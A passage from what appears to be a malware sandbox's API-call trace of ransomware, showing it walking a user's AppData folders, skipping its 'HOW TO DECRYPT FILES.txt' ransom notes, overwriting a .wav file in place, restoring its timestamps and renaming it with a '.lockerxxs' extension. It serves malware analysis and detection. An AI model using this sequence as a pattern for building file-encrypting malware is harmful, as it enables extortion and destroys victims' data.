returned="*.*" [0087.348] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="D5NTRC6R" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R" [0087.348] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.349] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.349] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.349] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.349] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.350] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.350] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.350] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="D5NTRC6R", cAlternateFileName="")) returned 0 [0087.350] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.350] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 0 [0087.350] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.350] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0046, dwReserved1=0x730061, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0087.350] lstrcmpA (lpString1=".", lpString2="Headlights") returned -1 [0087.350] lstrcmpA (lpString1="..", lpString2="Headlights") returned -1 [0087.350] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*.*") returned="*.*" [0087.350] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\", lpString2="Headlights" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights" [0087.350] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x730041, dwReserved1=0x650073, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.351] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.351] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x650000, cFileName="..", cAlternateFileName="")) returned 1 [0087.351] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.351] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.351] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x650000, cFileName="..", cAlternateFileName="")) returned 0 [0087.351] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.351] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650048, dwReserved1=0x640061, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0087.351] lstrcmpA (lpString1=".", lpString2="Linguistics") returned -1 [0087.351] lstrcmpA (lpString1="..", lpString2="Linguistics") returned -1 [0087.351] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*.*") returned="*.*" [0087.351] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\", lpString2="Linguistics" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" [0087.351] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.352] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.352] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.352] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.352] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.352] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0087.352] lstrcmpA (lpString1=".", lpString2="Dictionaries") returned -1 [0087.352] lstrcmpA (lpString1="..", lpString2="Dictionaries") returned -1 [0087.352] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*.*") returned="*.*" [0087.352] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2="Dictionaries" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries" [0087.352] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.353] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.353] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.353] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.353] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.353] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.353] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.353] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0087.353] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.353] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004c, dwReserved1=0x67006e, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0087.353] lstrcmpA (lpString1=".", lpString2="LogTransport2") returned -1 [0087.353] lstrcmpA (lpString1="..", lpString2="LogTransport2") returned -1 [0087.353] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*.*") returned="*.*" [0087.353] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\", lpString2="LogTransport2" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2" [0087.353] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690044, dwReserved1=0x740063, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.354] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.354] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x740000, cFileName="..", cAlternateFileName="")) returned 1 [0087.354] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.354] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.354] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x740000, cFileName="..", cAlternateFileName="")) returned 0 [0087.354] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.354] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004c, dwReserved1=0x67006e, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 0 [0087.354] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0087.354] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x26c5ed00, ftCreationTime.dwHighDateTime=0x1d5df79, ftLastAccessTime.dwLowDateTime=0xf974f5b0, ftLastAccessTime.dwHighDateTime=0x1d5dcb9, ftLastWriteTime.dwLowDateTime=0xf974f5b0, ftLastWriteTime.dwHighDateTime=0x1d5dcb9, nFileSizeHigh=0x0, nFileSizeLow=0x16ac4, dwReserved0=0x640041, dwReserved1=0x62006f, cFileName="az0PQ9iXaPWQUUnMj_bc.wav", cAlternateFileName="AZ0PQ9~1.WAV")) returned 1 [0087.354] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.354] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="az0PQ9iXaPWQUUnMj_bc.wav") returned 1 [0087.354] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="az0PQ9iXaPWQUUnMj_bc.wav") returned 1 [0087.354] lstrcmpiA (lpString1="", lpString2="az0PQ9iXaPWQUUnMj_bc.wav") returned -1 [0087.354] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*.*") returned="*.*" [0087.355] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.355] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.355] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.355] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.355] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="az0PQ9iXaPWQUUnMj_bc.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav" [0087.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav", pszSpec="*.ems") returned 0 [0087.355] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav" [0087.355] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav" [0087.355] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav." [0087.355] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav.lockerxxs" [0087.355] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\az0pq9ixapwquunmj_bc.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.356] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16ac4 [0087.356] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x26c5ed00, dwHighDateTime=0x1d5df79), lpLastAccessTime=0x407536*(dwLowDateTime=0xf974f5b0, dwHighDateTime=0x1d5dcb9), lpLastWriteTime=0x40753e*(dwLowDateTime=0xf974f5b0, dwHighDateTime=0x1d5dcb9)) returned 1 [0087.356] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.356] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x16a9e, lpOverlapped=0x0) returned 1 [0087.359] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav") returned="az0PQ9iXaPWQUUnMj_bc.wav" [0087.360] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.360] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x16a9e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x16a9e, lpOverlapped=0x0) returned 1 [0087.362] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.363] CloseHandle (hObject=0x8c) returned 1 [0087.363] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\az0pq9ixapwquunmj_bc.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\az0pq9ixapwquunmj_bc.wav.lockerxxs")) returned 1 [0087.364] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1bda1ca0, ftCreationTime.dwHighDateTime=0x1d5dc49, ftLastAccessTime.dwLowDateTime=0xe45be4c0, ftLastAccessTime.dwHighDateTime=0x1d5de82, ftLastWriteTime.dwLowDateTime=0xe45be4c0, ftLastWriteTime.dwHighDateTime=0x1d5de82, nFileSizeHigh=0x0, nFileSizeLow=0x3146, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="CvOJEXX41PJ5n2ixcSt.flv", cAlternateFileName="CVOJEX~1.FLV")) returned 1 [0087.364] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.364] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CvOJEXX41PJ5n2ixcSt.flv") returned 1 [0087.365] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CvOJEXX41PJ5n2ixcSt.flv") returned 1 [0087.365] lstrcmpiA (lpString1="", lpString2="CvOJEXX41PJ5n2ixcSt.flv") returned -1 [0087.365] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\az0PQ9iXaPWQUUnMj_bc.wav") returned="az0PQ9iXaPWQUUnMj_bc.wav" [0087.365] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.365] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS 